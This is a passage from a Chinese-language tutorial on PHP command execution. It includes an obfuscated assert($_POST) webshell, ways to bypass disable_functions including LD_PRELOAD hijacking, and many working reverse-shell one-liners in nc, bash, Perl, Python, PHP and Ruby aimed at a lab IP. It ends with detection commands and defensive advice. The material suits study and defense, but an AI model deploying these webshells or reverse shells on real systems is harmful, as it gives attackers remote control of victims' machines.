$_=@$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
@$___($_[_]); // ASSERT($_POST[_]);
?>

image-20240228171307190

4.4.3 disable_function

可以在phpinfo中查看disable_function这个其实就是在后端的php.ini写了禁用的函数 image-20240228171311777

4.4.3.1 预期解法

因为我们不能利用命令执行去读取文件了。因此我们只能利用php的代码执行去读文件。常见的php读文件有

  1. highlight_file()
  2. file_get_contents()
  3. show_source()
  4. fgets()
  5. file()
  6. readfile()
4.4.3.2 其他姿势
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");

4.4.4 LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量它可以影响程序的运行时的链接Runtime linker它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量可以在主程序和其动态链接库的中间加载别的动态链接库甚至覆盖正常的函数库。 一方面,可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面也可以以向别人的程序注入程序,从而达到特定的攻击目的。 通过环境变量LD_PRELOAD劫持系统函数可以达到不调用PHP的各种命令执行函数system()、exec() 等等)仍可执行系统命令的目的。 想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点

  1. 能够上传自己的 .so 文件
  2. 能够控制 LD_PRELOAD 环境变量的值,比如 putenv() 函数
  3. 因为新进程启动将加载 LD_PRELOAD 中的 .so 文件,所以要存在可以控制 PHP 启动外部程序的函数并能执行比如mail() 、imap_mail() 、mb_send_mail() 和error_log() 函数等

一般而言利用漏洞控制web启动新进程a.bin即便进程名无法让我随意指定新进程a.bin内部调用系统函数b()b()位于系统共享对象c.so中所以系统为该进程加载共享对象c.so想办法在加载c.so前优先加载可控的c_evil.soc_evil.so内含与b()同名的恶意函数由于c_evil.so优先级较高所以a.bin将调用到c_evil.so内的b()而非系统的c.so内b()同时c_evil.so可控达到执行恶意代码的目的。 基于这一思路常见突破disable_functions限制执行操作系统命令的方式为

  1. 编写一个原型为 uid_t getuid(void); 的C函数内部执行攻击者指定的代码并编译成共享对象getuid_shadow.so
  2. 运行 PHP 函数 putenv()( 用来配置系统环境变量 ),设定环境变量 LD_PRELOAD 为getuid_shadow.so ,以便后续启动新进程时优先加载该共享对象;
  3. 运行 PHP 的mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持;
  4. 达到不调用 PHP 的各种命令执行函数 (system() 、exec() 等等 )仍可执行系统命令的目的。

之所以劫持getuid()是因为sendmail程序会调用该函数当然也可以为其他被调用的系统函数在真实环境中存在两方面问题

  1. 某些环境中, web 禁止启用 sendmail 、甚至系统上根本未安装 sendmail 也就谈不上劫持getuid() ,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;
  2. 即便目标可以启用 sendmail ,由于未将主机名 (hostname 输出 )添加进 hosts 中导致每次运行sendmail 都要耗时半分钟等待域名解析超时返回 ,www-data 也无法将主机名加入 hosts( 如127.0.0.1lamp\lamp.\lamp.com) 。
4.4.4.1 实现demo

安装gcc环境

yum -y install gcc

编写c语言源码demo.c

# include<stdlib.h>
# include<stdio.h>
# include<string.h>
__attribute__ ((__constructor__)) void preload (void){
 unsetenv("LD_PRELOAD");
 system("id");
}

编译和环境配置

[root@localhost ~]# gcc -shared -fPIC demo.c -o demo.so
[root@localhost ~]# echo "export LD_PRELOAD=/root/demo.so" >> ~/.bashrc
[root@localhost ~]# source ~/.bashrc
[root@localhost ~]# ls
uid=0(root) gid=0(root) =0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
anaconda-ks.cfg  demo.c  demo.so
# 任意命令都会触发id命令

删除操作

[root@localhost ~]# echo $LD_PRELOAD
/root/demo.so
[root@localhost ~]# unset LD_PRELOAD

5. shell监听

5.1 定义

通俗来说shell就是实现用户命令的接口通过该接口我们能实现对计算机的控制root权限而反弹shell就是将shell反弹给攻击者从而达到让攻击者可以在自己的机器上执行shell命令从而操控受害者的计算机。 标准说法reverse shell就是控制端监听在某TCP/UDP端口被控端发起请求到该端口并将其命令行的输入输出转到控制端。reverse shell与telnetssh等标准shell对应本质上是网络概念的客户端与服务端的角色反转。 为什么要反弹 通常用于被控端因防火墙受限、权限不足、端口被占用等情形 假设我们攻击了一台机器打开了该机器的一个端口攻击者在自己的机器去连接目标机器这是比较常规的形式我们叫做正向连接。远程桌面web服务sshtelnet等等都是正向连接。那么什么情况下正向连接不太好用了呢

  1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
  2. 它的 ip 会动态改变,你不能持续控制。
  3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

5.2 nc的使用

第一步在kali服务端上监听23333端口并反弹shell

nc -lvp 2333

第二步在Linux客户端上连接kali的23333端口 这个时候客户端就拿到服务端的shell控制权了 可以随意控制服务端

nc 192.168.173.130 2333 -e /bin/sh

可以将nc挂在靶机的后台并且不显示任何内容

nohup nc 192.168.173.130 2333 -e /bin/sh 2>&1 /dev/null &
# nohup是将进程挂到systemd下这样可以做到即使ssh断开nc亦不会中断
# 2>&1 /dev/null 将任何的显示内容都隐藏
# & 将任务挂在 bash 的后台
# pstree可以看到nc挂在ssh下和systemd下

image-20240228171321480 版本问题或不支持-e可使用

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.173.130 2333 >/tmp/f

5.3 bash版本

如果客户端未安装nc(注意这个是由解析shell的bash完成所以某些情况下不支持。)

bash -i >& /dev/tcp/192.168.173.130/2333 0>&1

image-20240228171327180

5.4 telnet版本

当nc不可用或/dev/tcp不可用时可以考虑telnet客户端

mknod backpipe p && telnet 192.168.173.130 2333 0<backpipe | /bin/bash 1>backpipe

image-20240228171331001

5.5 Perl版本

如果服务器环境存在perl还可以使用perl版本

perl -e 'use Socket;$i="192.168.173.130";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

image-20240228171335551 另一个perl版本

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.173.130:2333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

image-20240228171412811

5.6 Python版本

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.173.130",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20240228172133676 Python的另外一个版本

python -c "exec(\"import socket, subprocess;s =socket.socket();s.connect(('192.168.173.130',2333))\nwhile 1: proc =subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

image-20240228172202882

5.7 PHP版本

php -r '$sock=fsockopen("192.168.173.130",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

image-20240228171747937

5.8 Ruby版本

不依赖于/bin/sh的shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.172.130","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows (未进行验证)

ruby -rsocket -e 'c=TCPSocket.new("192.168.173.130","2333");while(cmd=c.gets);IO.popen(cmd,"r")

5.9 java版

未进行验证

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

5.10 检测shell

可以通过对本机进程的状态,网络连接的状态进行排查 在 TCP/IP 协议中TCP 连接可以有多种状态,不同的状态代表连接处于不同的工作阶段或状态。下面是一些常见的 TCP 连接状态:

  • LISTEN // 表示当前主机正在监听并等待传入连接请求。
  • SYN_SENT // 表示客户端发送了一个 SYN 包,请求建立连接,并等待服务器回复。
  • SYN_RECEIVED // 表示服务器收到了客户端的 SYN 包,并发送了一个 SYN/ACK 包回复,表示准备建立连接。
  • ESTABLISHED // 表示连接已成功建立,正在进行数据传输和通信。
  • FIN_WAIT_1/FIN_WAIT_2 // 表示连接被远程主机关闭,但本地主机尚未完成所有数据传输操作。
  • CLOSE_WAIT // 表示本地主机已经关闭了连接,但远程主机仍在传输数据。
  • CLOSING // 表示连接正在两个方向上同时关闭。
  • TIME_WAIT // 表示连接已经关闭,但本地主机还在等待可能延迟的数据包。
  • LAST_ACK // 表示本地主机发送了一个 FIN 包,请求关闭连接,并等待远程主机的 ACK响应。

对于每个连接其状态会在TCP头部信息中进行标记并通过网络工具如netstat、ss等进行显示。 检查TCP连接状态可以帮助用户了解网络连接是否正常工作以及哪些进程或应用程序在使用网络资源从而进行故障排除和性能分析等操作。

5.10.1 lsof

lsof是一个常用的系统工具用于列出当前系统打开的所有文件包括网络套接字、硬件设备、进程和用户等以及它们的相关信息和属性。lsof可以帮助用户了解系统中正在运行的进程和它们所使用的文件、端口和套接字以便进行故障排除、性能调优和安全审计等操作。 下面是 lsof 命令的一些常用选项和用法:

  • lsof -i // 列出当前打开的网络套接字和端口。
  • lsof -u <username> // 列出指定用户的所有打开文件和进程。
  • lsof -p <pid> // 列出指定进程 ID 的所有打开文件和套接字。
  • lsof -c <process name> // 列出指定进程名称的所有打开文件和套接字。
  • lsof -i :<port> // 列出指定端口的所有监听进程和套接字。
  • lsof -i TCP:<port> // 列出指定 TCP 端口的所有监听进程和套接字。
  • lsof -i UDP:<port> // 列出指定 UDP 端口的所有监听进程和套接字。
  • lsof -n // 禁止主机名解析

需要注意的是lsof命令需要root或相应权限才能访问所有进程和文件。在使用lsof命令时请仔细阅读文档并确保了解其功能和用法以避免对系统造成不必要的影响和损害。

lsof -n | grep ESTABLISHED

image-20240228172339741

5.10.2 netstat

netstat是一个常用的网络工具用于显示当前系统的网络连接和网络统计信息。netstat可以列出打开的端口、监听的端口、网络连接状态、网络接口信息等并可以输出各种格式的报告以及进行网络故障排除和性能分析等操作。 以下是 netstat 命令的一些常用选项和用法:

  • netstat -a // 列出所有打开的端口和套接字。
  • netstat -o // 列出所有连接的进程 ID 。
  • netstat -t // 只列出 TCP 协议相关的端口和连接状态。
  • netstat -u // 只列出 UDP 协议相关的端口和连接状态。
  • netstat -n // 使用数字格式显示 IP 地址和端口号,而不进行主机名解析。
  • netstat -p // 同时显示进程名称和 ID ,以及它们所使用的网络连接和端口。
  • netstat -r // 显示当前系统的路由表和路由信息。
  • netstat -i // 显示当前系统的网络接口信息和统计数据。

需要注意的是netstat命令的选项和输出格式可能因操作系统和版本而有所差异。在使用netstat命令时请参考相应的文档和帮助信息并了解其功能和用法以避免对系统造成不必要的影响和损害。

netstat -anop |grep ESTABLISHED

image-20240228172345740

5.10.3 ps

ps命令是一个用于显示当前系统进程状态和信息的常用工具。它可以列出所有正在运行的进程并显示它们的PID进程 ID、PPID父进程 ID、CPU 占用率、内存占用、启动时间、命令名等相关信息,以便进行进程管理、性能分析和故障排除等操作。 以下是 ps 命令的一些常用选项和用法:

  • ps -ef // 列出所有进程的详细信息,包括进程的所有者、 PID 、占用 CPU 和内存的百分比、命令名等。
  • ps -aux // 类似于 -ef ,但会显示更多的进程信息,如进程的启动时间、运行时间、命令行参数等。
  • ps -p <pid> // 显示指定 PID 的进程信息。
  • ps -C <command> // 显示指定命令名称的进程信息。
  • ps -u <username> // 显示指定用户名称的进程信息。
  • ps -o <format> // 自定义输出格式,可以选择要显示的列和它们的顺序、标题等。

需要注意的是ps命令的选项和输出格式可能因操作系统和版本而有所差异。在使用ps命令时请参考相应的文档和帮助信息并了解其功能和用法以避免对系统造成不必要的影响和损害。 直接通过ps -ef查看有无反弹shell的常见命令

ps -ef |grep php

image-20240228172356448

5.10.4 ls

ls -al /proc/****/fd命令会显示指定进程的文件描述符目录,其中包含了所有该进程打开的文件和 设备。ls命令的-al选项表示以详细列表格式显示目录内容包括文件权限、所有者、大小、时间戳等信 息。 需要注意的是,由于这个命令需要访问 "/proc" 文件系统,因此需要 root 或相应权限才能运行。同时, 在使用 grep 命令时,请确保使用正确的搜索条件和选项,以避免输出不必要的信息或误判结果。

sudo ls -al /proc/****/fd |grep "tty"

image-20240228172402445

6. 防御

  • 形成漏洞的原因:可控变量,函数漏洞
  • 对于用户输入的数据,应该对输入进行适当的验证和过滤,以确保其中不包含任何非法字符或命令序列。
  • 对于命令执行操作,应该使用参数化查询或存储过程等方式,避免直接拼接用户输入到命令中。
  • 在命令参数中使用引号将参数括起来,避免参数被错误地分解为多个单独的参数。
  • 对于敏感操作,应该限制用户的权限,并且只允许经过授权的用户执行特定的命令和操作。
  • 尽量不要使用eval()函数和shell_exec()函数等执行系统命令的函数。
  • 使用参数化查询或存储过程等方式,将用户输入数据传递给数据库或其他服务,而不是直接拼接到命令中。
  • 避免使用系统默认路径,尽可能使用绝对路径来指定命令执行的位置。
  • 限制程序运行权限,尽可能地降低程序运行的权限,限制对系统资源的访问范围,避免被攻击者利用。
  • 定期更新系统和软件,修补已知的漏洞,加强系统安全性。